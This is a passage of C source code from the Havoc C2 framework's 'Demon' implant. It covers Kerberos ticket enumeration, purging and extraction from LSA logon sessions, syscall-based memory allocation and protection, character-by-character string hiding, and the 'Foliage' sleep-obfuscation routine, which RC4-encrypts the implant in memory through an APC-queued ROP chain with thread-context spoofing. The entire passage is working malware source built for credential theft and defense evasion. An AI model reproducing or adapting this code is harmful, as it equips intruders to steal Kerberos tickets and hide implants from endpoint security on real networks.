= 1}; purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1}; status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus ); if ( purgeResponse ) { Instance->Win32.LsaFreeReturnBuffer( purgeResponse ); purgeResponse = NULL; } if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", status ) goto END; } if ( ! NT_SUCCESS( protocolStatus ) ) { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", protocolStatus ) goto END; } ReturnValue = TRUE; END: if (hLsa) { Instance->Win32.LsaDeregisterLogonProcess( hLsa ); } MemZero( name, sizeof( name ) ); return ReturnValue; } PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid ) { BOOL ReturnValue = FALSE; BOOL highIntegrity = FALSE; HANDLE hLsa = NULL; ULONG authPackage = 0; LSA_STRING krbAuth = {.Buffer = NULL, .Length = 8, .MaximumLength = 9}; PLOGON_SESSION_DATA sessionData = NULL; KERB_QUERY_TKT_CACHE_REQUEST cacheRequest = { 0 }; PKERB_QUERY_TKT_CACHE_EX_RESPONSE cacheResponse = NULL; ULONG responseSize = 0; NTSTATUS protocolStatus = STATUS_SUCCESS; NTSTATUS status = STATUS_SUCCESS; PSESSION_INFORMATION Sessions = NULL; PSESSION_INFORMATION NewSession = NULL; PSESSION_INFORMATION TmpSession = NULL; PTICKET_INFORMATION TicketInfo = NULL; PTICKET_INFORMATION TmpTicketInfo = NULL; CHAR name[9] = { 0 }; name[ 5 ] = HideChar('r'); name[ 0 ] = HideChar('k'); name[ 8 ] = HideChar( 0); name[ 1 ] = HideChar('e'); name[ 2 ] = HideChar('r'); name[ 7 ] = HideChar('s'); name[ 3 ] = HideChar('b'); name[ 6 ] = HideChar('o'); name[ 4 ] = HideChar('e'); krbAuth.Buffer = name; if ( ! hToken ) goto END; highIntegrity = IsHighIntegrity( hToken ); if ( ! highIntegrity ) { PUTS( "[!] Not in high integrity." ); goto END; } status = GetLsaHandle( hToken, highIntegrity, &hLsa ); if ( ! NT_SUCCESS( status ) || ! hLsa ) { PRINTF( "[!] GetLsaHandle %ld\n", status ); goto END; } status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaLookupAuthenticationPackage %ld\n", Instance->Win32.LsaNtStatusToWinError( status ) ); goto END; } status = GetLogonSessionData( luid, &sessionData ); if ( ! NT_SUCCESS( status ) || ! sessionData ) { PRINTF( "[!] GetLogonSessionData: %lx", status ); goto END; } //cacheRequest.MessageType = KerbQueryTicketCacheExMessage; cacheRequest.MessageType = 14; for ( int i = 0; i < sessionData->sessionCount; i++ ) { if ( sessionData->sessionData[i] == NULL ) continue; NewSession = Instance->Win32.LocalAlloc( LPTR, sizeof( SESSION_INFORMATION ) ); if ( ! NewSession ) continue; CopySessionInfo( NewSession, sessionData->sessionData[i] ); if ( ! Sessions ) { NewSession->Next = NULL; Sessions = NewSession; } else { TmpSession = Sessions; while ( TmpSession->Next ) TmpSession = TmpSession->Next; TmpSession->Next = NewSession; } if ( highIntegrity ) cacheRequest.LogonId = sessionData->sessionData[i]->LogonId; else cacheRequest.LogonId = ( LUID ){.HighPart = 0, .LowPart = 0}; Instance->Win32.LsaFreeReturnBuffer( sessionData->sessionData[i] ); cacheResponse = NULL; status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &cacheRequest, sizeof( cacheRequest ), (LPVOID*)&cacheResponse, &responseSize, &protocolStatus ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaCallAuthenticationPackage %ld\n", Instance->Win32.LsaNtStatusToWinError( status ) ); continue; } if ( protocolStatus == STATUS_NO_SUCH_LOGON_SESSION ) continue; if ( ! NT_SUCCESS( protocolStatus ) ) { PRINTF( "[!] LsaCallAuthenticationPackage %lx\n", protocolStatus ); continue; } if ( ! cacheResponse ) continue; for ( int j = 0; j < cacheResponse->CountOfTickets; j++ ) { TicketInfo = Instance->Win32.LocalAlloc( LPTR, sizeof( TICKET_INFORMATION ) ); if ( ! TicketInfo ) continue; CopyTicketInfo( TicketInfo, &cacheResponse->Tickets[j] ); ExtractTicket(hLsa, authPackage, cacheRequest.LogonId, cacheResponse->Tickets[j].ServerName, (PUCHAR*)&TicketInfo->Ticket.Buffer, &TicketInfo->Ticket.Length); if ( ! NewSession->Tickets ) { NewSession->Tickets = TicketInfo; TicketInfo->Next = NULL; } else { TmpTicketInfo = NewSession->Tickets; while ( TmpTicketInfo->Next ) TmpTicketInfo = TmpTicketInfo->Next; TmpTicketInfo->Next = TicketInfo; TicketInfo->Next = NULL; } } Instance->Win32.LsaFreeReturnBuffer( cacheResponse ); cacheResponse = NULL; } ReturnValue = TRUE; END: if ( sessionData && sessionData->sessionData ) { Instance->Win32.LocalFree( sessionData->sessionData ); } if ( sessionData ) { Instance->Win32.LocalFree( sessionData ); } if ( hLsa ) { Instance->Win32.LsaDeregisterLogonProcess( hLsa ); } MemZero( name, sizeof( name ) ); if ( ReturnValue && Sessions ) { return Sessions; } else { return NULL; } } LUID* GetLUID( HANDLE hToken ) { TOKEN_STATISTICS tokenStats = { 0 }; DWORD tokenSize = 0; LUID* luid = NULL; if ( ! hToken ) return NULL; if ( ! Instance->Win32.GetTokenInformation( hToken, TokenStatistics, &tokenStats, sizeof( tokenStats ), &tokenSize ) ) return NULL; luid = Instance->Win32.LocalAlloc( LPTR, sizeof( LUID ) ); if ( ! luid ) return NULL; luid->HighPart = tokenStats.AuthenticationId.HighPart; luid->LowPart = tokenStats.AuthenticationId.LowPart; return luid; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Memory.c000066400000000000000000000160251467014221700233040ustar00rootroot00000000000000#include #include #include /*! * @brief * allocate memory on the heap * * @param Length * size of memory to allocate * * @return * allocated buffer pointer on the heap */ PVOID MmHeapAlloc( _In_ ULONG Length ) { return Instance->Win32.RtlAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Length ); } /*! * @brief * allocate memory on the heap * * @param Length * size of memory to reallocate * * @return * allocated buffer pointer on the heap */ PVOID MmHeapReAlloc( _In_ PVOID Memory, _In_ ULONG Length ) { return Instance->Win32.RtlReAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Memory, Length ); } /*! * @brief * free memory on the heap * * @param Memory * memory to free * * @return * if successfully freed memory on the heap */ BOOL MmHeapFree( _In_ PVOID Memory ) { return Instance->Win32.RtlFreeHeap( NtProcessHeap(), 0, Memory ); } /*! * Allocates virtual memory * @param Method * @param Process * @param Size * @param Protect * @return */ PVOID MmVirtualAlloc( IN DX_MEMORY Methode, IN HANDLE Process, IN SIZE_T Size, IN DWORD Protect ) { PPACKAGE Package = NULL; PVOID Memory = NULL; NTSTATUS NtStatus = STATUS_SUCCESS; if ( Instance->Config.Implant.Verbose && ( Methode != DX_MEM_DEFAULT ) ) { Package = PackageCreate( DEMON_INFO ); PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC ); } switch ( Methode ) { case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) { Memory = Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ? MmVirtualAlloc( Instance->Config.Memory.Alloc, Process, Size, Protect ) : // if the config memory alloc ain't default then use that MmVirtualAlloc( DX_MEM_SYSCALL, Process, Size, Protect ); // if it is default then simply choose Native/Syscall return Memory; } case DX_MEM_WIN32: { PRINTF( "VirtualAllocEx( %x, NULL, %ld, %ld, %ld ) => ", Process, Size, MEM_RESERVE | MEM_COMMIT, Protect ); Memory = Instance->Win32.VirtualAllocEx( Process, NULL, Size, MEM_RESERVE | MEM_COMMIT, Protect ); PRINTF( "%p\n", Memory ) break; } case DX_MEM_SYSCALL: { if ( ! NT_SUCCESS( NtStatus = SysNtAllocateVirtualMemory( Process, &Memory, 0, &Size, MEM_COMMIT | MEM_RESERVE, Protect ) ) ) { PRINTF( "[-] NtAllocateVirtualMemory: Failed:[%lx]\n", NtStatus ) NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); Memory = NULL; } break; } default: { break; } } PRINTF( "Memory:[%p] MemSize:[%d]\n", Memory, Size ); if ( Memory && Instance->Config.Implant.Verbose ) { Package = PackageCreate( DEMON_INFO ); PackageAddInt32( Package, DEMON_INFO_MEM_ALLOC ); PackageAddPtr( Package, Memory ); PackageAddInt32( Package, Size ); PackageAddInt32( Package, Protect ); PackageTransmit( Package ); Package = NULL; } return Memory; } /*! * Changes the protection of a virtual memory. * @param Method * @param Process * @param Memory * @param Size * @param Protect * @return */ BOOL MmVirtualProtect( IN DX_MEMORY Method, IN HANDLE Process, IN PVOID Memory, IN SIZE_T Size, IN DWORD Protect ) { PPACKAGE Package = NULL; NTSTATUS NtStatus = STATUS_SUCCESS; ULONG OldProtect = 0; BOOL Success = FALSE; switch ( Method ) { case DX_MEM_DEFAULT: PUTS( "DX_MEM_DEFAULT" ) { if ( Instance->Config.Memory.Alloc != DX_MEM_DEFAULT ) { return MmVirtualProtect( Instance->Config.Memory.Alloc, Process, Memory, Size, Protect ); } else { return MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, Protect ); } } case DX_MEM_WIN32: { Success = Instance->Win32.VirtualProtectEx( Process, Memory, Size, Protect, &OldProtect ); break; } case DX_MEM_SYSCALL: { if ( ! NT_SUCCESS( NtStatus = SysNtProtectVirtualMemory( Process, &Memory, &Size, Protect, &OldProtect ) ) ) { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); } else { Success = TRUE; } break; } default: { Success = FALSE; } } if ( Success && Instance->Config.Implant.Verbose ) { Package = PackageCreate( DEMON_INFO ); PackageAddInt32( Package, DEMON_INFO_MEM_PROTECT ); PackageAddPtr( Package, Memory ); PackageAddInt32( Package, Size ); PackageAddInt32( Package, OldProtect ); PackageAddInt32( Package, Protect ); PackageTransmit( Package ); Package = NULL; } return Success; } BOOL MmVirtualWrite( IN HANDLE Process, OUT PVOID Memory, IN PVOID Buffer, IN SIZE_T Size ) { if ( ! Process || ! Memory || ! Buffer || ! Size ) { return FALSE; } return NT_SUCCESS( SysNtWriteVirtualMemory( Process, Memory, Buffer, Size, NULL ) ); } /*! * Frees virtual memory * @param Process * @param Memory * @return */ BOOL MmVirtualFree( IN HANDLE Process, IN PVOID Memory ) { SIZE_T Length = { 0 }; MEMORY_BASIC_INFORMATION MmBasic = { 0 }; // // query memory type // if ( ! NT_SUCCESS( SysNtQueryVirtualMemory( Process, Memory, MemoryBasicInformation, &MmBasic, sizeof( MmBasic ), NULL ) ) ) { return FALSE; } // // check if it's a mapped image // if ( ( MmBasic.Type == MEM_MAPPED ) ) { return NT_SUCCESS( SysNtUnmapViewOfSection( NtCurrentProcess(), Memory ) ); } else { return NT_SUCCESS( SysNtFreeVirtualMemory( Process, &Memory, &Length, MEM_RELEASE ) ); } } PVOID MmGadgetFind( _In_ PVOID Memory, _In_ SIZE_T Length, _In_ PVOID PatternBuffer, _In_ SIZE_T PatternLength ) { /* check if required arguments have been specified */ if ( ( ! Memory || ! Length ) || ( ! PatternBuffer || ! PatternLength ) ) { return NULL; } /* now search for gadgets/pattern */ for ( SIZE_T Len = 0; Len < Length; Len++ ) { if ( MemCompare( C_PTR( U_PTR( Memory ) + Len ), PatternBuffer, PatternLength ) == 0 ) { return C_PTR( U_PTR( Memory ) + Len ); } } return NULL; } #ifdef SHELLCODE /*! * Frees the reflective loader * @param BaseAddress * @return */ BOOL FreeReflectiveLoader( IN PVOID BaseAddress ) { if ( ! BaseAddress ) return TRUE; // page align the address BaseAddress = ( PVOID ) ( ( ( ULONG_PTR )BaseAddress ) & ( ~ ( PAGE_SIZE - 1 ) ) ); PRINTF( "Freeing the reflective loader at: 0x%p\n", BaseAddress ) return MmVirtualFree( NtCurrentProcess(), BaseAddress ); } #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/MiniStd.c000066400000000000000000000137111467014221700234020ustar00rootroot00000000000000#include #include /* * Most of the functions from here are from VX-Underground https://github.com/vxunderground/VX-API */ INT StringCompareA( LPCSTR String1, LPCSTR String2 ) { for (; *String1 == *String2; String1++, String2++) { if (*String1 == '\0') return 0; } return ((*(LPCSTR)String1 < *(LPCSTR)String2) ? -1 : +1); } INT StringCompareW( LPWSTR String1, LPWSTR String2 ) { for (; *String1 == *String2; String1++, String2++) { if (*String1 == '\0') return 0; } return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1); } INT StringNCompareW( LPWSTR String1, LPWSTR String2, INT Length ) { for (; *String1 == *String2; String1++, String2++, Length--) { if (*String1 == '\0') return 0; if ( Length == 1 ) return 0; } return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1); } WCHAR ToLowerCaseW( WCHAR C ) { return C > 0x40 && C < 0x5b ? C | 0x60 : C; } INT StringCompareIW( LPWSTR String1, LPWSTR String2 ) { for (; ToLowerCaseW( *String1 ) == ToLowerCaseW( *String2 ); String1++, String2++) { if (*String1 == '\0') return 0; } return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1); } INT StringNCompareIW( LPWSTR String1, LPWSTR String2, INT Length ) { for (; ToLowerCaseW( *String1 ) == ToLowerCaseW( *String2 ); String1++, String2++, Length--) { if (*String1 == '\0') return 0; if ( Length == 1 ) return 0; } return ((*(LPWSTR)String1 < *(LPWSTR)String2) ? -1 : +1); } BOOL EndsWithIW( LPWSTR String, LPWSTR Ending ) { DWORD Length1 = 0; DWORD Length2 = 0; if ( ! String || ! Ending ) return FALSE; Length1 = StringLengthW( String ); Length2 = StringLengthW( Ending ); if ( Length1 < Length2 ) return FALSE; String = &String[ Length1 - Length2 ]; return StringCompareIW( String, Ending ) == 0; } /* TODO: replace every func with HashEx */ DWORD HashStringA( PCHAR String ) { ULONG Hash = HASH_KEY; INT c; while (c = *String++) Hash = ((Hash << 5) + Hash) + c; return Hash; } PCHAR StringCopyA(PCHAR String1, PCHAR String2) { PCHAR p = String1; while ((*p++ = *String2++) != 0); return String1; } PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2) { PWCHAR p = String1; while ((*p++ = *String2++) != 0); return String1; } SIZE_T StringLengthA(LPCSTR String) { LPCSTR String2; if ( String == NULL ) return 0; for (String2 = String; *String2; ++String2); return (String2 - String); } SIZE_T StringLengthW(LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } PCHAR StringConcatA(PCHAR String, PCHAR String2) { StringCopyA( &String[ StringLengthA( String ) ], String2 ); return String; } PWCHAR StringConcatW(PWCHAR String, PWCHAR String2) { StringCopyW( &String[ StringLengthW( String ) ], String2 ); return String; } LPWSTR WcsStr( PWCHAR String, PWCHAR String2 ) { if ( ! String || ! String2 ) return NULL; UINT32 Size1 = StringLengthW( String ); UINT32 Size2 = StringLengthW( String2 ); if ( Size2 > Size1 ) return NULL; for ( UINT32 i = 0; i < Size1 - Size2 + 1; i++ ) { if ( StringNCompareW( String + i, String2, Size2 ) == 0 ) return String + i; } return NULL; } LPWSTR WcsIStr( PWCHAR String, PWCHAR String2 ) { if ( ! String || ! String2 ) return NULL; UINT32 Size1 = StringLengthW( String ); UINT32 Size2 = StringLengthW( String2 ); if ( Size2 > Size1 ) return NULL; for ( UINT32 i = 0; i < Size1 - Size2 + 1; i++ ) { if ( StringNCompareIW( String + i, String2, Size2 ) == 0 ) return String + i; } return NULL; } INT MemCompare( PVOID s1, PVOID s2, INT len) { PUCHAR p = s1; PUCHAR q = s2; INT charCompareStatus = 0; if ( s1 == s2 ) { return charCompareStatus; } while (len > 0) { if (*p != *q) { charCompareStatus = (*p >*q)?1:-1; break; } len--; p++; q++; } return charCompareStatus; } SIZE_T WCharStringToCharString(PCHAR Destination, PWCHAR Source, SIZE_T MaximumAllowed) { INT Length = MaximumAllowed; while (--Length >= 0) { if (!(*Destination++ = *Source++)) return MaximumAllowed - Length - 1; } return MaximumAllowed - Length; } SIZE_T CharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed ) { INT Length = (INT)MaximumAllowed; while (--Length >= 0) { if ( ! ( *Destination++ = *Source++ ) ) return MaximumAllowed - Length - 1; } return MaximumAllowed - Length; } PCHAR StringTokenA(PCHAR String, CONST PCHAR Delim) { PCHAR SpanP, Token; INT C, SC; if ( String == NULL ) return NULL; CONTINUE: C = *String++; for (SpanP = (PCHAR)Delim; (SC = *SpanP++) != ERROR_SUCCESS;) { if (C == SC) goto CONTINUE; } if (C == ERROR_SUCCESS) return NULL; Token = String - 1; for (;;) { C = *String++; SpanP = (PCHAR)Delim; do { if ((SC = *SpanP++) == C) { if (C == ERROR_SUCCESS) String = NULL; else String[-1] = '\0'; return Token; } } while (SC != ERROR_SUCCESS); } return NULL; } UINT64 GetSystemFileTime( ) { FILETIME ft; LARGE_INTEGER li; Instance->Win32.GetSystemTimeAsFileTime(&ft); //returns ticks in UTC li.LowPart = ft.dwLowDateTime; li.HighPart = ft.dwHighDateTime; return li.QuadPart; } /* This is a simple trick to hide strings from memory :^) */ BYTE NO_INLINE HideChar( BYTE C ) { return C; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Obf.c000066400000000000000000000775641467014221700225610ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #if _WIN64 /*! * @brief * foliage is a sleep obfuscation technique that is using APC calls * to obfuscate itself in memory * * @param Param * @return */ VOID FoliageObf( IN PSLEEP_PARAM Param ) { USTRING Key = { 0 }; USTRING Rc4 = { 0 }; UCHAR Random[16] = { 0 }; HANDLE hEvent = NULL; HANDLE hThread = NULL; HANDLE hDupObj = NULL; // Rop Chain Thread Ctx PCONTEXT RopInit = { 0 }; PCONTEXT RopCap = { 0 }; PCONTEXT RopSpoof = { 0 }; PCONTEXT RopBegin = { 0 }; PCONTEXT RopSetMemRw = { 0 }; PCONTEXT RopMemEnc = { 0 }; PCONTEXT RopGetCtx = { 0 }; PCONTEXT RopSetCtx = { 0 }; PCONTEXT RopWaitObj = { 0 }; PCONTEXT RopMemDec = { 0 }; PCONTEXT RopSetMemRx = { 0 }; PCONTEXT RopSetCtx2 = { 0 }; PCONTEXT RopExitThd = { 0 }; LPVOID ImageBase = NULL; SIZE_T ImageSize = 0; LPVOID TxtBase = NULL; SIZE_T TxtSize = 0; DWORD dwProtect = PAGE_EXECUTE_READWRITE; SIZE_T TmpValue = 0; ImageBase = Instance->Session.ModuleBase; ImageSize = Instance->Session.ModuleSize; // Check if .text section is defined if (Instance->Session.TxtBase != 0 && Instance->Session.TxtSize != 0) { TxtBase = Instance->Session.TxtBase; TxtSize = Instance->Session.TxtSize; dwProtect = PAGE_EXECUTE_READ; } else { TxtBase = Instance->Session.ModuleBase; TxtSize = Instance->Session.ModuleSize; } // Generate random keys for ( SHORT i = 0; i < 16; i++ ) Random[ i ] = RandomNumber32( ); Key.Buffer = &Random; Key.Length = Key.MaximumLength = 0x10; Rc4.Buffer = ImageBase; Rc4.Length = Rc4.MaximumLength = ImageSize; if ( NT_SUCCESS( SysNtCreateEvent( &hEvent, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE ) ) ) { if ( NT_SUCCESS( SysNtCreateThreadEx( &hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL ) ) ) { RopInit = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopCap = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopSpoof = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopBegin = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopSetMemRw = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopMemEnc = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopGetCtx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopSetCtx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopWaitObj = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopMemDec = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopSetMemRx = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopSetCtx2 = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopExitThd = Instance->Win32.LocalAlloc( LPTR, sizeof( CONTEXT ) ); RopInit->ContextFlags = CONTEXT_FULL; RopCap->ContextFlags = CONTEXT_FULL; RopSpoof->ContextFlags = CONTEXT_FULL; RopBegin->ContextFlags = CONTEXT_FULL; RopSetMemRw->ContextFlags = CONTEXT_FULL; RopMemEnc->ContextFlags = CONTEXT_FULL; RopGetCtx->ContextFlags = CONTEXT_FULL; RopSetCtx->ContextFlags = CONTEXT_FULL; RopWaitObj->ContextFlags = CONTEXT_FULL; RopMemDec->ContextFlags = CONTEXT_FULL; RopSetMemRx->ContextFlags = CONTEXT_FULL; RopSetCtx2->ContextFlags = CONTEXT_FULL; RopExitThd->ContextFlags = CONTEXT_FULL; if ( NT_SUCCESS( SysNtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &hDupObj, THREAD_ALL_ACCESS, 0, 0 ) ) ) { if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( hThread, RopInit ) ) ) { MemCopy( RopBegin, RopInit, sizeof( CONTEXT ) ); MemCopy( RopSetMemRw, RopInit, sizeof( CONTEXT ) ); MemCopy( RopMemEnc, RopInit, sizeof( CONTEXT ) ); MemCopy( RopGetCtx, RopInit, sizeof( CONTEXT ) ); MemCopy( RopSetCtx, RopInit, sizeof( CONTEXT ) ); MemCopy( RopWaitObj, RopInit, sizeof( CONTEXT ) ); MemCopy( RopMemDec, RopInit, sizeof( CONTEXT ) ); MemCopy( RopSetMemRx, RopInit, sizeof( CONTEXT ) ); MemCopy( RopSetCtx2, RopInit, sizeof( CONTEXT ) ); MemCopy( RopExitThd, RopInit, sizeof( CONTEXT ) ); RopBegin->ContextFlags = CONTEXT_FULL; RopBegin->Rip = U_PTR( Instance->Win32.NtWaitForSingleObject ); RopBegin->Rsp -= U_PTR( 0x1000 * 13 ); RopBegin->Rcx = U_PTR( hEvent ); RopBegin->Rdx = U_PTR( FALSE ); RopBegin->R8 = U_PTR( NULL ); *( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtWaitForSingleObject( Evt, FALSE, NULL ) RopSetMemRw->ContextFlags = CONTEXT_FULL; RopSetMemRw->Rip = U_PTR( Instance->Win32.NtProtectVirtualMemory ); RopSetMemRw->Rsp -= U_PTR( 0x1000 * 12 ); RopSetMemRw->Rcx = U_PTR( NtCurrentProcess() ); RopSetMemRw->Rdx = U_PTR( &ImageBase ); RopSetMemRw->R8 = U_PTR( &ImageSize ); RopSetMemRw->R9 = U_PTR( PAGE_READWRITE ); *( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); *( PVOID* )( RopSetMemRw->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( &TmpValue ); // NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_READWRITE, NULL, ); RopMemEnc->ContextFlags = CONTEXT_FULL; RopMemEnc->Rip = U_PTR( Instance->Win32.SystemFunction032 ); RopMemEnc->Rsp -= U_PTR( 0x1000 * 11 ); RopMemEnc->Rcx = U_PTR( &Rc4 ); RopMemEnc->Rdx = U_PTR( &Key ); *( PVOID* )( RopMemEnc->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // SystemFunction032( &Rc4, &Key ); RC4 Encryption RopGetCtx->ContextFlags = CONTEXT_FULL; RopGetCtx->Rip = U_PTR( Instance->Win32.NtGetContextThread ); RopGetCtx->Rsp -= U_PTR( 0x1000 * 10 ); RopGetCtx->Rcx = U_PTR( hDupObj ); RopGetCtx->Rdx = U_PTR( RopCap ); *( PVOID* )( RopGetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtGetContextThread( Src, Cap ); RopSetCtx->ContextFlags = CONTEXT_FULL; RopSetCtx->Rip = U_PTR( Instance->Win32.NtSetContextThread ); RopSetCtx->Rsp -= U_PTR( 0x1000 * 9 ); RopSetCtx->Rcx = U_PTR( hDupObj ); RopSetCtx->Rdx = U_PTR( RopSpoof ); *( PVOID* )( RopSetCtx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtSetContextThread( Src, Spf ); // NOTE: Here is the thread sleeping... RopWaitObj->ContextFlags = CONTEXT_FULL; RopWaitObj->Rip = U_PTR( Instance->Win32.WaitForSingleObjectEx ); RopWaitObj->Rsp -= U_PTR( 0x1000 * 8 ); RopWaitObj->Rcx = U_PTR( hDupObj ); RopWaitObj->Rdx = U_PTR( Param->TimeOut ); RopWaitObj->R8 = U_PTR( FALSE ); *( PVOID* )( RopWaitObj->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // WaitForSingleObjectEx( Src, Fbr->Time, FALSE ); // NOTE: thread image decryption RopMemDec->ContextFlags = CONTEXT_FULL; RopMemDec->Rip = U_PTR( Instance->Win32.SystemFunction032 ); RopMemDec->Rsp -= U_PTR( 0x1000 * 7 ); RopMemDec->Rcx = U_PTR( &Rc4 ); RopMemDec->Rdx = U_PTR( &Key ); *( PVOID* )( RopMemDec->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // SystemFunction032( &Rc4, &Key ); Rc4 Decryption // RW -> RWX RopSetMemRx->ContextFlags = CONTEXT_FULL; RopSetMemRx->Rip = U_PTR( Instance->Win32.NtProtectVirtualMemory ); RopSetMemRx->Rsp -= U_PTR( 0x1000 * 6 ); RopSetMemRx->Rcx = U_PTR( NtCurrentProcess() ); RopSetMemRx->Rdx = U_PTR( &TxtBase ); RopSetMemRx->R8 = U_PTR( &TxtSize ); RopSetMemRx->R9 = U_PTR( dwProtect ); *( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); *( PVOID* )( RopSetMemRx->Rsp + ( sizeof( ULONG_PTR ) * 0x5 ) ) = C_PTR( & TmpValue ); // NtProtectVirtualMemory( NtCurrentProcess(), &Img, &Len, PAGE_EXECUTE_READ, & TmpValue ); RopSetCtx2->ContextFlags = CONTEXT_FULL; RopSetCtx2->Rip = U_PTR( Instance->Win32.NtSetContextThread ); RopSetCtx2->Rsp -= U_PTR( 0x1000 * 5 ); RopSetCtx2->Rcx = U_PTR( hDupObj ); RopSetCtx2->Rdx = U_PTR( RopCap ); *( PVOID* )( RopSetCtx2->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // NtSetContextThread( Src, Cap ); RopExitThd->ContextFlags = CONTEXT_FULL; RopExitThd->Rip = U_PTR( Instance->Win32.RtlExitUserThread ); RopExitThd->Rsp -= U_PTR( 0x1000 * 4 ); RopExitThd->Rcx = U_PTR( ERROR_SUCCESS ); *( PVOID* )( RopBegin->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = C_PTR( Instance->Win32.NtTestAlert ); // RtlExitUserThread( ERROR_SUCCESS ); if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopBegin, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRw, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemEnc, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopGetCtx, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopWaitObj, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopMemDec, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetMemRx, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopSetCtx2, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( SysNtQueueApcThread( hThread, C_PTR( Instance->Win32.NtContinue ), RopExitThd, FALSE, NULL ) ) ) goto Leave; if ( NT_SUCCESS( SysNtAlertResumeThread( hThread, NULL ) ) ) { RopSpoof->ContextFlags = CONTEXT_FULL; RopSpoof->Rip = U_PTR( Instance->Win32.WaitForSingleObjectEx ); RopSpoof->Rsp = U_PTR( Instance->Teb->NtTib.StackBase ); // 